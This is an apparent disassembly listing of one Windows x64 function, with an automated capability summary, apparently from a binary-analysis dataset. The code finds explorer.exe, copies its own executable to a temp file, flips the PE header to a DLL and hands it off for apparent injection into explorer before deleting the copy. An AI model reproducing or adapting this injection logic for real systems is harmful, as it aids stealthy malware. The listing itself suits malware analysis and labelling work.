Function at 0x140009ec0
Capabilities:
Copy file
Delete file
Enumerate process modules
Get common file path
Read file on windows
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x25a0]
mov eax, 0x26a0
call fcn.140007be0
sub rsp, rax
mov rax, qword [0x140010050]
xor rax, rsp
mov qword [rbp + 0x2590], rax
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x60]
xor r12d, r12d
mov edx, 0x1000
mov edi, r12d
call qword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x14000a15c
test dword [rsp + 0x40], 0xfffffffc
mov qword [rsp + 0x26b0], rbx
mov qword [rsp + 0x26b8], rsi
mov esi, r12d
jbe 0x14000a14a
lea rbx, [rsp + 0x60]
nop word [rax + rax]
mov r8d, dword [rbx]
test r8d, r8d
je 0x140009fb8
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140009fb8
lea r9, [rsp + 0x54]
lea rdx, [rsp + 0x48]
mov r8d, 8
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x140009fac
mov rdx, qword [rsp + 0x48]
lea r8, [rbp + 0x1170]
mov r9d, 0x104
mov rcx, rdi
call qword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x1170]
call fcn.1400011d8
test eax, eax
je 0x140009fcd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, r12
mov eax, dword [rsp + 0x40]
inc esi
add rbx, 4
shr eax, 2
cmp esi, eax
jb 0x140009f40
test rdi, rdi
je 0x14000a14a
lea rdx, [rbp + 0x1380]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140009ff7
mov rcx, rdi
jmp 0x14000a144
lea rdx, [rbp + 0xf60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0xf60]
lea rdx, [0x14000dc50]
lea rcx, [rbp + 0xf60]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1380]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140009fef
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0xf60]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009fef
lea r9, [rsp + 0x58]
lea rdx, [rbp + 0x1590]
mov r8d, 0x1000
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000a138
movsxd rax, dword [rbp + 0x15cc]
mov ecx, 0x2000
xor r9d, r9d
or word [rbp + rax + 0x15a6], cx
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x14000a138
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x1590]
mov r8d, 0x1000
mov rcx, rbx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000a138
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0xf60]
mov rdx, rdi
mov cl, 1
call fcn.140009a30
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xf60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebx, ebx
je 0x14000a131
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
jmp 0x14000a14c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x26b0]
mov rsi, qword [rsp + 0x26b8]
mov rcx, qword [rbp + 0x2590]
xor rcx, rsp
call fcn.140001010
lea r11, [rsp + 0x26a0]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret